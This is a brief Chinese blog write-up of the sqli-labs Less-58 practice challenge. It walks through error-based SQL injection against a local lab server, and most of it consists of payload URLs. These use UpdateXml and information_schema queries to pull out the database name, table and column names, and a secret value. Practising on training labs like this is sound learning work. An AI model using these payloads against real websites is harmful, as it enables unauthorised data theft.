【sqli-labs】 less58 GET -Challenge -Double Query -5 queries allowed -Variation1 (GET型 挑戰 雙查詢 只允許5次查詢 變化1)
阿新 • • 發佈:2018-01-31
png sel labs 取數 技術分享 group less info union
單引號閉合成功,但是union select結果不對
http://192.168.136.128/sqli-labs-master/Less-58/?id=0‘ union select 1,2,3%23
id=‘0‘是不出結果的,那數據就不是從數據庫取出的
http://192.168.136.128/sqli-labs-master/Less-58/?id=1‘
但是有MYSQL的報錯
那就用報錯取數據
http://192.168.136.128/sqli-labs-master/Less-58/?id=1‘ or UpdateXml(1,concat(0x7e,database(),0x7e),1)%23
http://192.168.136.128/sqli-labs-master/Less-58/?id=1‘ or UpdateXml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges‘),0x7e),1)%23
http://192.168.136.128/sqli-labs-master/Less-58/index.php?id=1‘ or UpdateXml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘challenges‘ and table_name=‘SU6MJHL7WA‘),0x7e),1)%23
http://192.168.136.128/sqli-labs-master/Less-58/index.php?id=1‘ or UpdateXml(1,concat(0x7e,(select secret_C3H8 from SU6MJHL7WA limit 0,1),0x7e),1)%23
完成
【sqli-labs】 less58 GET -Challenge -Double Query -5 queries allowed -Variation1 (GET型 挑戰 雙查詢 只允許5次查詢 變化1)